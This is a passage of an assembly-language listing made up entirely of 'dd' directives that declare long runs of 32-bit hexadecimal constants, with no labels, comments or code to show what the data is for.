1F9B257Dh, 0C0C19DD5h dd 3994BC32h, 0F409104Ch, 9260B08h, 0DDA499BBh, 0E03FE4h dd 1D5C36B1h, 1984B2F1h, 8BDC8F1Ah, 5BC62746h, 0D905E019h dd 0BA949707h, 0CF047327h, 1A2E4074h, 6A04CA96h, 87ECB80Bh dd 0A60F69F2h, 0C3A072ACh, 393AD7E3h, 1DD1FA02h, 45A3B3D4h dd 42E8909h, 2D9B3D75h, 0A0013D0h, 25EF8066h, 70A23CBBh dd 5F1895B7h, 0FA9F9D2Bh, 0D88B4B23h, 0BB1266F5h, 6FBC1BE7h dd 0E9AE02AAh, 200BE8D2h, 73D3B8F8h, 62651B01h, 860E5B6Fh dd 0F0CFCB40h, 9B5F539Ah, 5C22E00h, 3A4880Eh, 0DE3D2F00h dd 7A5DAC87h, 4CEEB54Eh, 473D6D95h, 0AEE4F06Dh, 0BB05507Bh dd 1B6AEDE1h, 0AC8417ABh, 20AAD370h, 4A7FC191h, 0FD977B00h dd 439874E1h, 1B5B9D5Bh, 551BC18Bh, 0B5B77696h, 42630FFCh dd 357FB220h, 0F2B8600Bh, 50207D20h, 800ED88Bh, 8E5E0F61h dd 5E52014Bh, 0B85E38E6h, 8C0FA193h, 0A1303245h, 0B4410Bh dd 0E1D366D0h, 2EE53CF2h, 0CFE33B10h, 4AFE1927h, 0D66956A7h dd 7E041746h, 0BC95C45Dh, 33F94AB7h, 59174DECh, 0A0A8927Fh dd 28358DD3h, 0F87680FCh, 2D50FE88h, 0BC7EC011h, 0CAB28701h dd 0EDEC2A6Eh, 0B0E69D6Dh, 83CD4A00h, 7C333597h, 0C6E6013Fh dd 0C82F28BCh, 0ACA0E426h, 53B28997h, 0E5797005h, 8389912h dd 0F45BACF1h, 0C22136C7h, 0F660E5AFh, 59B5050Dh, 0D9D369C3h dd 0FA41F351h, 0DC2B151Dh, 5F2753A1h, 78847B6Ah, 7702FC6Ah dd 999509D0h, 5BE5552Bh, 5EE06A89h, 1746D67Dh, 1CDB3E00h dd 0E5B531E8h, 0C949204Fh, 0CDEF2BD9h, 7A82C057h, 7B134F1Dh dd 5A46653Ah, 9D661CCDh, 45B7995Ah, 8BBC50D9h, 86F7DA4Ah dd 536A5Eh, 351DF811h, 25485BA1h, 0B9E5FE73h, 0B4763711h dd 962DB8FEh, 0A3C13A90h, 1C827402h, 59505B01h, 0F18B0F02h dd 7184CA01h, 0EDC02A09h, 413DA432h, 0C4C37C64h, 0AEF8585Ah dd 0F098BB09h, 0B802A27Bh, 0F51CF444h, 8D1017CCh, 4A5079Dh dd 491D95F5h, 0A6BC79DFh, 507702ECh, 0BCD71A94h, 0D41896DDh dd 0C58B860Eh, 0DC657FB7h, 0AE2C17A5h, 0EE9C3B76h, 7506A214h dd 2BC61EE9h, 3F26827Ah, 0EE9E06CEh, 0BD126E64h, 2AAF2699h dd 0BC530087h, 0EBCA7127h, 0B36012C3h, 0C131FC6Eh, 7BE95B61h dd 4092B16Ah, 15BD038Ch, 0C1D71960h, 13CCE381h, 0AE792F53h dd 200E7962h, 3C4A769Fh, 2B111D09h, 2F4F5275h, 501029D2h dd 3D0092C5h, 0E0FB8783h, 91865Dh, 90ED8568h, 5F4CDA7Eh dd 43237FEBh, 59D1D8C9h, 0BCA84AEBh, 0BF205B89h, 243E94CBh dd 2531151Eh, 0E175A1C2h, 9B7B907Bh, 6C3D81BDh, 0CDC3308h dd 0EA844911h, 508C781Ah, 230038D1h, 0B9E30D24h, 78A00E2h dd 1BD6D5EAh, 1F0FAABEh, 6A370850h, 0BD608FF1h, 1CCFCAh dd 0B8B18A9Ch, 1591DD22h, 4F45125h, 0A6D45BD0h, 5B034BBh dd 0EAB172B5h, 83E96294h, 0AA86854Bh, 8A00056Eh, 0CFD9CB33h dd 0BC285B35h, 792EF66Fh, 4E41F514h, 0BF3090F8h, 50B70F2Fh dd 0FB16DE8Ah, 0EA09FA7Ah, 4D57ECBCh, 16A5E017h, 96027F3Dh dd 0F1E93F65h, 0F43E953h, 0E9A305h, 0E684C168h, 9F4E8Dh dd 9B7CAFE5h, 0DAC0EE22h, 8BFC7E12h, 23B96BAFh, 0D7EE0119h dd 2A30E71Fh, 0B125B708h, 7A19A90Ch, 16F237E6h, 5412336Ch dd 0F3099DE6h, 0FFED2261h, 0E223CDD1h, 93986061h, 6B03355Fh dd 7AE6AB16h, 753AB0B9h, 197E0141h, 5004EDB1h, 3F943161h dd 0DD83A5F2h, 0A42C4E14h, 0E702496Ah, 5E4F4A3Bh, 7BD551F8h dd 0ECC57F9Eh, 8F06B852h, 0A9874046h, 90D82E70h, 4A6AE699h dd 8047DB02h, 4BE88E07h, 9D2B132Fh, 1DD95281h, 9F00623Ch dd 5BAB71B6h, 2FF311Ah, 1B547F0Bh, 446A3C14h, 803AEFD1h dd 0C55E6934h, 40C1BACh, 9BE4E7D3h, 0D9D2AECAh, 0B74B6AF8h dd 0A3F78004h, 0FCC0BB12h, 0BB8EF4Ah, 0AE5CF52Fh, 226F5D69h dd 0CEBFF640h, 0FC0809B3h, 0D35E25E9h, 82B17C70h, 2389F771h dd 42A8FE9Dh, 0CDF5FE8Bh, 0E0FB6887h, 0CF807B69h, 71906C27h dd 2D3D0170h, 0CD854B6Eh, 0C5D5DEB3h, 5B510BE8h, 0EC25DE74h dd 12E92270h, 10AE6B0Eh, 0FCC56086h, 0A21538h, 68B674A7h dd 0FF735770h, 91E47B95h, 5DA3000Dh, 0F9F49F97h, 14DB02B6h dd 3EA10E7Ch, 84F8597Dh, 1304559Dh, 0A5E19802h, 0FFEB61CBh dd 0E9C2875Bh, 0E750567Dh, 0D2F0E41h, 2067151Ch, 354B0BD2h dd 2CF2FBD9h dd 17408138h, 0D11C4B0h, 70E6052Bh, 7F776E80h, 0B94B5EC4h dd 19F11037h, 0C1125958h, 0C86BBC09h, 0F7C2A5DAh, 7100F1D1h dd 0BAB8D9FAh, 0BC670FF2h, 0E503117Bh, 22E29D03h, 0F5BC5B04h dd 9F320393h, 4098BC1h, 0D708919Dh, 8EBF5990h, 7DD3B812h dd 27795ABDh, 98602BDEh, 0F80CB1BCh, 0D0D18B45h, 6015408Dh dd 0C4B52926h, 0F6DC49h, 5EE656C3h, 7C51E961h, 6113613Eh dd 0B8F2DD4h, 5EA5E780h, 25D86A83h, 1229D9C9h, 10E3DE57h dd 0E95F0B07h, 0B7AF4653h, 25F58810h, 0EFC57300h, 0ABEFB35h dd 3C4300DCh, 0BFD85844h, 90066470h, 0FF8D8B6Fh, 7AACC103h dd 2A3EFEA5h, 0CC98B6F2h, 437EDBC7h, 0FE1AA550h, 0D80A9h dd 0A8089589h, 4BB2EF18h, 0C1E1D939h, 0C8BF0030h, 112025F2h dd 0C9257BFAh, 0B414F518h, 0D48A94h, 847119BEh, 0B98E8C96h dd 0D60F8925h, 2100F463h, 0B069FEB3h, 97C25789h, 59DED68Bh dd 7CFC46Bh, 6316F3AAh, 0C589C08Ah, 0C4046ADDh, 43726728h dd 5B8D8CBBh, 5552E295h, 9381BEBDh, 8D0FBE7Bh, 0BD2444h dd 0F293E64Bh, 7BFA5EE7h, 4C2008A2h, 92ECA72h, 15BC6912h dd 1790A5Fh, 78DFFB2Dh, 0A616AC3Ah, 0C6F04D1Eh, 71ECB504h dd 6E07029Dh, 7EC5D563h, 2BB1050h, 0E6B5CE22h, 0DFF1AD5Ch dd 2D0BC4A6h, 0E9785E1Dh, 498445Fh, 0EC7464BFh, 0ADA7BC38h dd 9FF1C20h, 197D9D33h, 45479CD7h, 5EE4369h, 1D4F12CCh dd 13B82EDBh, 8DC0139Eh, 7FD023CBh, 7ECD834Bh, 0B9D1E850h dd 9BE15EFFh, 0CDB1802Eh, 313A9F8h, 0C7D3ECA4h, 189B8010h dd 0E5FBF825h, 4910953h, 0ED3D7Dh, 0DB67E79Ch, 2F786977h dd 696A9497h, 0B7FD607Ch, 5CF83D5h, 8D885289h, 0F290DD8Ah dd 0E70E2925h, 0D210106Ah, 7EA05FA6h, 854A0F8Dh, 0BF562E40h dd 2775E638h, 3E105B73h, 81094A2Dh, 5D48E5EEh, 34245A02h dd 4EC42Bh, 69DDEA9Fh, 96D52A95h, 7BE5B300h, 0E4DE88D8h dd 8FEC25E0h, 815F04C0h, 1E34D304h, 65BC1338h, 2846E5Fh dd 0EB7851D1h, 11DB40D9h, 6099971Eh, 0AC21481h, 577A6A19h dd 1A91AF35h, 0EB65EA93h, 22A33609h, 5E9D4D65h, 5E53253Dh dd 123EF0D9h, 5CAEEDC1h, 281658B3h, 314FFB35h, 0D9BABF85h dd 0D606A5B4h, 0C72F6FEh, 314C52E8h, 96162040h, 45FC2DC5h dd 0DDA725DEh, 89169650h, 3DAB7D8Dh, 0EB203E26h, 9BAB31h dd 8DB13963h, 0C23803DFh, 5E021F73h, 91EEB546h, 0BCAFF80h dd 19607CF4h, 0B5B86Ah, 0B926EFA0h, 0DF20E74Fh, 0E81AFC25h dd 0EDADB3AFh, 0AF35047Eh, 408E893Fh, 9D0B5849h, 0A0ACAD4Eh dd 9609BAA5h, 0EA1B7419h, 8A792530h, 0B6C61040h, 0AF9400DAh dd 68F275F5h, 0CF0057ECh, 0ED14D63h, 49E9DC9Ch, 11564D91h dd 3AC9B1F1h, 0FE92D0B8h, 25DB30D8h, 0CCC114B1h, 0B2732F21h dd 95D27333h, 292DF8EEh, 97D6DAB5h, 9B569F0Bh, 0E81300F6h dd 0FDF7C896h, 2909DF81h, 7B015195h, 4BB0A0BCh, 894782EDh dd 92FB3755h, 9EC6037h, 159E958Dh, 82F3800Bh, 0ED044695h dd 170E048h, 0C29A5995h, 3AAD02B7h, 1299F034h, 0AF41BD0Bh dd 9F56A028h, 6878E850h, 0F88FAC3Ah, 3481DA30h, 0FD90AF4Fh dd 6EB8EF7Dh, 6510E313h, 0D7BAA201h, 0F22A5D44h, 483DA8A1h dd 0A1028DBDh, 50024D97h, 6B99EDDDh, 7D04C4CCh, 5CBF144Ch dd 8993650Ah, 36025760h, 7E091D71h, 22550837h, 0BF636112h dd 6E9BC5F8h, 6A7087C9h, 94CBE300h, 5EA8DCBBh, 0B55BBD6Eh dd 3A261AD9h, 7AD3F101h, 0E61FCCE4h, 0BDC17A7Eh, 0CE2B25E5h dd 0DB362D2Bh, 9E6CD87Ch, 0EB45890Ah, 790AD854h, 2990AFF7h dd 97C9A85Eh, 0B84A81B3h, 6B96EE8Fh, 0E3E50199h, 991E9A51h dd 33A4886Ah, 0D73A3D00h, 237C170Bh, 0F4BB0493h, 8075C710h dd 0D9FAC69Dh, 16EE4148h, 0F4BC051Dh, 8D29F1E3h, 0E366E4F8h dd 8050041Dh, 0AA5B32CFh, 15558E71h, 0BFAD9C6Bh, 6D836109h dd 0A0D4717Fh, 1A9520E1h, 9F78D09Dh, 5AC5F46Dh, 0AAA3C5BAh dd 0BE99A7DCh, 0FA542DCCh, 7C339DD6h, 21C14F88h, 632EDD00h dd 0BD312622h, 0BC014E9Dh, 0DC6BB54Ch, 12BE1D16h, 4BA8B7F0h dd 0C51F9A6Ah, 0EB4B00CDh, 0BB2ED4E2h, 8B3A960Eh, 87883652h dd 89210035h, 0B71E1056h, 5C95151Ah, 84B3007Dh, 5F8A16F8h dd 91CA3597h, 0BDB7801Dh, 79E3B8A8h, 0D30215FAh, 0E76431Dh dd 325599F8h, 183D1920h, 0CC01C160h, 0B2BA78CAh, 3C39C05Fh dd 4B596BD2h, 56C102FAh, 10F5DB6Ch, 278BEBh, 0ED0B85D6h dd 72A449C6h, 0AA1EE0E2h, 497B589h, 0EDC2A1A4h, 4A05E770h dd 9384BD1Ah, 0F802AC6Bh, 0D759D89h, 0ED5ACF5Ch, 94E4238h dd 2B97C1D5h, 617BBF00h, 0C66CE325h, 169A90D5h, 0E66A99B5h dd 0F7A5F03Bh, 3941E8D0h, 0B6498DBCh, 0CA28BB8Ch, 48315B5Eh dd 372E5056h, 9629FE25h, 0FAE831DFh, 0B7522707h, 0F231E5F3h dd 8900535h, 0EAF7BDF7h, 0BF585A0Eh, 756F1E0h, 0B7B79661h dd 0D81C00DAh, 3BFC8E73h, 23074902h, 5CF98BECh, 8937C048h dd 1A973DC7h, 1D0682C1h, 5CBC5733h, 70087B9Fh, 8A4B8BBDh dd 0DAD13BE1h, 0FD3BB875h, 0E62AB95Bh, 3019B2D8h, 0E89DB968h dd 258A57D6h, 0CEC65FFAh, 0A7DB8102h, 315519C7h, 998F3BE8h dd 0E9D81392h, 7B9D7BE4h, 0D6EDACABh, 94197B02h, 57A59D0Bh dd 4645C59Eh, 0BB880D9h, 0D62CBF02h, 0BAD7339Ah, 0D4EC5E0Dh dd 80C0204h, 1CBA3253h, 1E465B4h, 0B56EF097h, 2B2ED699h dd 6A4AABDBh, 0B7E40046h, 0C7C93890h, 0BBBF2F6h, 4376A022h dd 1609E5D0h, 5EADE928h, 85890BAFh, 0AC25137Fh, 66C25F9Bh dd 8EC13607h, 9657FAD9h, 0E32A8794h, 80ADC0C6h, 0F88BFBF1h dd 8D4A9076h, 0FA33BBE3h, 6AE3A1DEh, 2EF890C1h, 1801577Ah dd 0BD2BD65Fh, 209075C5h, 0B3B6C1D8h, 78387BADh, 660A785Ch dd 8AB01CBBh, 22C0B204h, 0D2D29BEBh, 3381DAA2h, 2F1AC99Dh dd 0D3A61065h, 8D508AA0h, 0B9AA0804h, 77FCD43Bh, 68701380h dd 2A04AB7Ah, 0AA73342Bh, 7716C81h, 0BF505F00h, 9125E676h dd 5EA18B41h, 0D401DC2Fh, 0AE97D6F9h, 5DD61584h, 7A77B342h dd 0BA294C6Eh, 27C90429h, 83058910h, 0FA68F00h, 2944BB72h dd 35703C56h, 980BB9DEh, 971D69B8h, 3A89D539h, 60093BEDh dd 5ED1BBB0h, 52867C00h, 5C7659h, 0FE446A5Dh, 0D83F8EF4h dd 46FABC02h, 0F8D1FF61h, 0CE2BE150h, 248A2183h, 0E80C9342h dd 0F781A03Ch, 17A99857h, 0C851904Bh, 0E0003473h, 0F70CFF1Ch dd 2E9B83B1h, 0BD6AA5Bh, 8E465368h, 0BAC5EBF3h, 0BC851115h dd 9340281Fh, 14B52289h, 0E9C0C3A1h, 1CA27ABDh, 0A0D0CA4Eh dd 17100D2Bh, 0AEA6E96Fh, 9745003Dh, 0BFC401DBh, 0AEE7C0C6h dd 309444Ah, 552B01BDh, 1AC5E06Dh, 24B3498h, 0CB27A6F7h dd 0EB60FB7Dh, 90811921h, 8AE9A46Bh, 30FEF94Fh, 68F7CDCCh dd 911ABB00h, 48B0A214h, 0A55B4F8Eh, 0BF3682B8h, 0A361DEC8h dd 6B5F51EAh, 9A09041Eh, 53272ED1h, 45EF808Bh, 0BD6BCAF1h dd 5B180993h, 2DB9660Eh, 0A2911CF3h, 2AF62A90h, 0C19DAEF5h dd 0FFBE642Bh, 0AAB67B12h, 0E64A6C58h, 331BB2E9h, 7D0F3780h dd 79BF9709h, 0CEE4572Eh, 76A1604Eh, 8ABC214h, 610B29B5h dd 0B574016Ah, 31020381h, 7FD25D42h, 2FE82FF9h, 0E06CA64Eh dd 2CBBB699h, 27A65158h, 5F6D05F5h, 315239AFh, 60E7F906h dd 60B5B05Fh, 8007E1CBh, 9D712352h, 0E6433362h, 95446670h dd 271CA053h, 20CC630Eh dd 507EE667h, 71E42591h, 0DE560442h, 0EC5BCF91h, 585969E0h dd 0BF570FE4h, 7B44743Eh, 80D3B85Fh, 8C6195BBh, 84799D29h dd 0DCEF8004h, 85B142AFh, 57092CF5h, 0C82B7B18h, 0E8ED10C9h dd 4C66D103h, 0E93E56BFh, 0C24821CBh, 5785FD5Eh, 2B5E0B88h dd 62AFFE96h, 1AA00E2Bh, 68E9E39Fh, 0D341FBB6h, 322EFFE4h dd 647501A7h, 0A791950Bh, 36EB144Eh, 8D222AC0h, 0AE9A952Eh dd 0E8D8CF01h, 0F9E88960h, 0C0C55E0Ch, 8FBE261Ah, 7CA9AB00h dd 0FC6515CDh, 28A00158h, 2E7163D3h, 4996A54Fh, 0E12B5BAAh dd 0BB770095h, 0B125BDB5h, 20D3CC7Bh, 62B53F89h, 3FCF57A7h dd 0C8A13040h, 97370298h, 1D2CE819h, 2719715Dh, 0EFAE30F7h dd 0CCB64B86h, 0A438B901h, 77B95E10h, 2000AABCh, 0DE222BB8h dd 4E36B51Eh, 28E9C838h, 9C6454Ch, 7059268Fh, 3A3797EDh dd 0F058AC00h, 0EFCD0A29h, 4A05F020h, 0B1AC4B2Ch, 55D1B9C2h dd 0AADB8180h, 48010EC8h, 49388AFCh, 0C04F2B40h, 7C05E16Eh dd 0FB8531A1h, 21046D95h, 20EADF51h, 4F83252h, 300E7D01h dd 54862672h, 0EC08CF8h, 0BA8571C8h, 0EC4DBD17h, 384700B9h dd 7E6914B6h, 0F8AAE371h, 55250F54h, 4C2735BFh, 7BF32E4Dh dd 4EF4BBC6h, 50E94787h, 25781C5Bh, 32E91A4Eh, 0A08C14B8h dd 0F90595C1h, 9310E902h, 9FFE3F71h, 0D2D08001h, 0E4AEF161h dd 8A05C03Eh, 3487B6FDh, 60AD99FBh, 594B16ACh, 103331CCh dd 482C299Dh, 0A3620527h, 8BEB773Fh, 8DB582A0h, 0C72F8101h dd 282F9633h, 818A5634h, 0B87F3F0Ah, 0F68E7EC2h, 7B92C225h dd 0D053A5A7h, 92A6EB50h, 19120BFDh, 9702E1FFh, 0BCD726B1h dd 37739DC2h, 3065BD04h, 17750C18h, 107AE795h, 8C17FC26h dd 0DCA87102h, 5ED88B79h, 9FC25108h, 0B949334Fh, 7F30771Ch dd 3AFB850Eh, 0EFDE9E70h, 0A5B4CE60h, 22A14E10h, 0B14AF73Ah dd 122EE3A5h, 0E171A6ECh, 0E678A17Eh, 1A6EFA80h, 4A096356h dd 723DF5E7h, 680345F1h, 79BB80A5h, 0D0EE32h, 0A621C810h dd 0B095CFB9h, 0A5340504h, 2BD5E8Eh, 8C1CACh, 0C833C131h dd 0D7605E4Ah, 950B106h, 4B571595h, 3A04DD5Bh, 0AD02496Ah dd 0FAC19E3h, 0AAF1CD41h, 0DD7345Bh, 0EA9E39A8h, 0CE6806D5h dd 1511B4ABh, 31380395h, 0FBABDFA8h, 4E0F7007h, 0CA483D98h dd 21512F3h, 0FB9792E2h, 8AAB3024h, 2FCCA026h, 5FD1098Ch dd 0A8DE38A9h, 0BB001F10h, 5C523573h, 909FDCE9h, 971921EEh dd 6663733Ah, 735C1ABAh, 7D9D2BE0h, 19448F29h, 0E80BBA60h dd 93365E01h, 1C31BD03h, 5A718C6Dh, 0BDBFB930h, 0AF80FA7Dh dd 8AA5B87Ah, 0AAF4205Ah, 5F1369FDh, 0E82A0204h, 0F66BB46Eh dd 0C1CA942Fh, 1A950375h, 0EB0A0948h, 0A370B582h, 0F5491CBCh dd 85FF2E18h, 9AF4AA04h, 20FF9CE3h, 20F1FB5Bh, 3D0AF900h dd 0E49373CBh, 0A35F4B47h, 90962759h, 0CBD6AEh, 55E1EC52h dd 97E517CAh, 0D18C0F2Eh, 0A381BF45h, 0EB385C86h, 0B696FA12h dd 96F6E01Ch, 4394125Eh, 53611CB4h, 836FAF17h, 74001623h dd 2268330Dh, 0A6362D03h, 0DD4CB178h, 9590254h, 0D72AE185h dd 0F0FEB1BAh, 3186FD40h, 0CE0E00B3h, 63391589h, 8701C417h dd 605071A2h, 0F0216FB4h, 7DB9A52Fh, 5B84Ah, 1C197339h dd 0B0024EA6h, 0CAA8E85Eh, 0C47B202Dh, 0FA181A79h, 6D3CBA00h dd 816A54F0h, 61105CFh, 0F261538Fh, 80D53E70h, 0BBE7B047h dd 12BFC67Bh, 0E2017A9Eh, 9D0BC2D6h, 252D5259h, 0CD65DE8Bh dd 372D3F1Ah, 0B82585DFh, 0CF53EB76h, 25EE6FAAh, 5CBAC79Bh dd 0EC09F5B0h, 0B725B034h, 88948082h, 0D466CB7Ah, 0FE934E9Dh dd 8AED4BD5h, 42513ACh, 0A2A180B7h, 30FB4BB5h, 3DBB47FBh dd 0AD654A37h, 0DCE8961Fh, 5AA88F83h, 0FE33CFE0h, 584A42F8h dd 16AC83BDh, 0EC9C128Ch, 7A80E18Bh, 0EB0D1A7h, 2A17C205h dd 34AEF85Ch, 0C017B884h, 0D1BF6696h, 51503ABBh, 1B959D83h dd 0AFEC5B41h, 0E01D26Eh, 0E9B4282Bh, 0B667F4E8h, 73AD664Eh dd 10F523CBh, 558D3192h, 0E62AE9C1h, 3018B245h, 3B05DDDCh dd 0F88A3808h, 0D56EDAABh, 8C5CC510h, 23816BAFh, 0E502001Dh dd 0BDED6094h, 42AC561Dh, 0BD04E425h, 0D47AB373h, 69798152h dd 3CE0D2A9h, 180C8105h, 0AAF58839h, 87ED55C2h, 2C621464h dd 0BF01D95Ch, 0F6863DDh, 6FD8122Eh, 0FC260F8Ch, 3B42DD93h dd 0FF4B9222h, 0C20088E6h, 0DD5F65F6h, 22286CCh, 0FF28EC2Bh dd 0DCDC70B8h, 0B68DDE40h, 88410417h, 0B8617201h, 0C489CEFCh dd 71AE0351h, 2FD88AAFh, 0C8BD3BF9h, 0BF2C92DFh, 0A5176ECAh dd 0B85A04ECh, 73AA90h, 9D328EF1h, 0E4FF84C8h, 0A440B596h dd 0F8D49063h, 0C5AB1C4Bh, 96794597h, 4A12F3AFh, 0DA0028B2h dd 53D8FCE5h, 8D2A8942h, 72B0FC79h, 59565225h, 5ED50061h dd 0CBA2D119h, 5F5BAE13h, 0F60452BBh, 0BD77E093h, 239005E8h dd 0ACFF20C7h, 0C06F80FBh, 5A0BCB95h, 0A889F27Bh, 0DE63000Ah dd 0E9B783ADh, 0FC268F39h, 5D035F53h, 481ADA6Bh, 0F0126CCAh dd 832F618h, 79013985h, 0FB85C348h, 37C1EEDBh, 5403B350h dd 906EBFA1h, 907F6F27h, 71BB667Dh, 0C1B29DF8h, 816E5155h dd 0A4CDA5BBh, 19713E66h, 7A7A09DDh, 8CB75F2Ch, 4A7FB84Ah dd 5638F7CAh, 0EEECBF59h, 4509935Ah, 0E4F65C1Fh, 532FFF9h dd 0F479F6C6h, 0C082F000h, 0B7341FAEh, 7969760h, 3A02EFF0h dd 0E93FDC09h, 1E05C92h, 8B94D380h, 1FF03AC1h, 611E4075h dd 16C11B97h, 0E2145DC2h, 0E4C85EB1h, 0AD6B0EDAh, 0B940FF4Eh dd 8D7FFAE7h, 3C80CD5Bh, 0BBF310Fh, 76AAF438h, 5B2DBC71h dd 78F37045h, 69BB2D00h, 179BEFCBh, 85BD160Bh, 0C130AE31h dd 0DF8921EBh, 0D9B50D0Eh, 9ED085C5h, 37DE22D0h, 1722EC96h dd 0F3ECDA05h, 771D9511h, 391AD782h, 29C20FEDh, 4AF0D5D7h dd 7D1692B7h, 0D8691153h, 7F035C50h, 5F480828h, 50DAD2B5h dd 0BC000ED1h, 83CBAD56h, 647915B5h, 0A64FC70Bh, 16EE0ACh dd 1B141318h, 0B998EBD4h, 0CA0A5211h, 1B358E62h, 75200909h dd 0BDE4016Dh, 455E2AFh, 32118529h, 0ED5ED8AEh, 0A9214Eh dd 0B5432381h, 0F84BCC39h, 7AE80700h, 21AD642Bh, 45682551h dd 5001E6C6h, 5B72CB80h, 0DB2BD1FFh, 35B8C25Eh, 885F84E8h dd 0C36FF3EBh, 0C9B8AA71h, 0F03ED2C7h, 5F812D76h, 7303282Fh dd 2BFE8B88h, 5B4F026Ah, 0F431480h, 0B3F98D5Ah, 90051388h dd 69B85B57h, 1CE2DA3Bh, 16572935h, 0D4589E1Ch, 0FA4E6E12h dd 0FBC24501h, 4E22880Fh, 0A6815B76h, 7BE9128Ah, 0A884ECE3h dd 0C2AC16D0h, 7876E5Bh, 0B860DCB2h, 4892D060h, 0ADBD4E31h dd 1610BEAh, 0BE05D9Dh, 0B912E1BFh, 0FCE73449h, 85E8DA4Bh dd 7DCC2E71h, 28F2A9h, 97ED427Ch, 5335B7EFh, 925B2927h dd 4F51D770h, 0C4500B01h, 0F46BC8DEh, 0B33D9072h, 40BDFCB4h dd 0F45BA10Ah, 25DFB8F9h, 1E5E1FE9h, 91646F4h, 0D582846Dh dd 0EE508665h, 42B90003h, 5F89C888h, 0E29D1E51h, 1BCD55CCh dd 20671C64h, 4A5A8D3Ah, 1DA84809h, 4D3E8765h, 2DFF490Bh dd 0FF27D13Dh, 681756B7h, 1E53441Ch, 16887AB9h, 102DD72Ch dd 81206DB6h, 0F0F36AB0h, 0C51ABD4Eh, 0DF0170E6h, 71E40937h dd 42120C89h, 105EC372h, 0F284DC70h, 776E00C1h, 9F92FF02h dd 8301ABD9h, 8FE935D5h, 0E47A5A2Ch, 799DD8FBh, 0A5858423h dd 0FC6C5F09h, 0A699D12Fh, 0A6FE029Eh, 0DE5C0998h, 15E1C631h dd 1E1AC04h, 6BC5DF81h dd 802813C8h, 80EEC787h, 2B463163h, 5402BBFCh, 8B4F66F0h dd 2879D1h, 63DAEF24h, 2D0FC92Eh, 0EB237442h, 4152989Fh dd 4AF073C5h, 8347EF8Bh, 66B2D9BFh, 12F75C21h, 4CBAB9F8h dd 35AA4EC3h, 208D8951h, 5F8A0C98h, 0C2EA8C2h, 41FA4F11h dd 15BB66D0h, 9342FD5h, 0BBD2FAACh, 53277109h, 60970012h dd 0FCDE1096h, 0E2F46B4Fh, 0C8A24BA7h, 5C8A3121h, 0F781E315h dd 60531F88h, 0B601C2ECh, 8A05DE92h, 752061C3h, 8380A495h dd 914EAC3h, 0F9B7100Fh, 0EC5B2512h, 502D2004h, 0BB2091h dd 0AD10DBF2h, 1D7BFD5h, 231420F6h, 8471D46Bh, 0C99FCB88h dd 83E1DEBFh, 0B05945C7h, 95B16A18h, 644C4679h, 0BD3804E7h dd 0AA0EDFB9h, 0F32AC9D9h, 2EC701ACh, 0E6C08A45h, 132E13DDh dd 0FFEE0EF0h, 0F7399494h, 1E63970Eh, 0FD8509E1h, 0F3A63F02h dd 0EAA87F00h, 9D1CDE30h, 0AD8C8FFh, 80A2D63Dh, 0BED1DDE2h dd 0B561A380h, 7D2DCB79h, 0DD2733B7h, 0CA602192h, 0ACB0D22Bh dd 0A22E1045h, 0E6E95F65h, 5B5F52C2h, 0F5FAF5Ch, 0F3A0A23Bh dd 6C7CB447h, 15DC5D9Eh, 0E3FE7A6Dh, 9D129F48h, 27C9E617h dd 694460h, 0E4CEC327h, 395576D0h, 70DA97h, 42176140h dd 0FC86A146h, 0ADBD76C2h, 80B0CA05h, 5962EEF5h, 69DE9E29h dd 0E2A7B259h, 8217D7DEh, 12F935A7h, 0B67F429Dh, 846151AFh dd 84FF1402h, 0A2C9AC82h, 69F029A7h, 98A2C95Dh, 892C21E0h dd 6E9F7BB8h, 545B4D80h, 7812E757h, 6BF83EB1h, 6E619980h dd 34079FD7h, 2AC89337h, 88CB7410h, 7F037BFBh, 24360581h dd 0AF5F0D49h, 0E63AA129h, 0D1A3A185h, 96E1FFF8h, 7F00DCDCh dd 61455F3h, 0E70D4774h, 4B796F30h, 221ACE02h, 0F1B3252Eh dd 3A1A0AE5h, 0D737751Fh, 357C3100h, 29C010Ah, 8D899D79h dd 9C5722EDh, 5FCE6A1Ah, 0C52D3F43h, 605B90F2h, 528030DBh dd 8D01B9C7h, 0B70F1120h, 0B1088756h, 0FDE4251Fh, 4AE74900h dd 0CA926073h, 52DE004Eh, 16AB2681h, 61480FEBh, 7ACF2DD3h dd 0ECF958Fh, 0C973E263h, 5B2C8EC6h, 0B6BF881h, 0AA4CCCDBh dd 4031751Ch, 7AAD5FC0h, 1669A43Eh, 0C8473DEEh, 0FB01CDCAh dd 0BFB5F1D6h, 202A5BF7h, 0F88AED5Bh, 0AC8D2C00h, 19EAC323h dd 0D22D4BC5h, 0C62E1A4Eh, 82350888h, 54C9B2C0h, 0ADCFADD9h dd 0AB63ED40h, 0F62093Dh, 6675DBBFh, 0F19D10A7h, 0BB900104h dd 33CC4B43h, 659C1E2Bh, 0C206F837h, 0A03CF99Ah, 80014D20h dd 4121968h, 77B0CD26h, 0F8FF13E6h, 2043E032h, 741A5D82h dd 0E238C2DFh, 0A24DD58Dh, 0F2F4C6Bh, 2A2DE1D4h, 11B67F60h dd 819FDC0Eh, 0F5A4998Ah, 234B6B2Fh, 48273915h, 3DD9340h dd 18BE6680h, 6A619873h, 0E0B6FEBh, 0DB0199E9h, 0ED13D07Ah dd 0E6F93E25h, 89B32565h, 0ECB061E6h, 0F9B93712h, 17B260F6h dd 284B2630h, 5B90423Dh, 4E49BED9h, 0BCCE5529h, 0DBF6000h dd 8030D447h, 9E61E4D5h, 99FD6992h, 0D87689A5h, 0AF7150h dd 6D82D79Bh, 256A44E6h, 0EDB8F209h, 59C7D305h, 12841816h dd 0F1F84E53h, 0EF6E7A50h, 57C87603h, 508A0BBBh, 0CF0E55D1h dd 0D9D540F9h, 9F9B78E1h, 0B839A1C8h, 1BAF9A1Fh, 5F50B304h dd 8BF665Dh, 5B1221DDh, 290927F3h, 8620A59Dh, 5A33B668h dd 2779284Ch, 49D540DFh, 0B3457A30h, 0BBAE786Ah, 0DA3904Bh dd 1767204Ah, 0D6133AB2h, 1DECD092h, 0DBBEDA80h, 8D251B9Ch dd 0B1BDFF85h, 0EE0A1EB8h, 0BF503B80h, 5A366D83h, 1C70155h dd 221F9D85h, 69338FF7h, 0AEFD5C81h, 8513DC12h, 89EB600Eh dd 90701084h, 24278E0Bh, 726F5ECEh, 140DCE41h, 0EA0067B2h dd 154BDE59h, 0CB4BA693h, 2C30368Ah, 49B5012Bh, 3C772966h dd 0E041AD17h, 5B0E96E6h, 5E289F2Fh, 0FBC9D761h, 0E54C00CFh dd 7382D57Eh, 0BD4EB87Fh, 800F4AB3h, 0FE2037E3h, 6AE2E781h dd 0E5734625h, 779E1A21h, 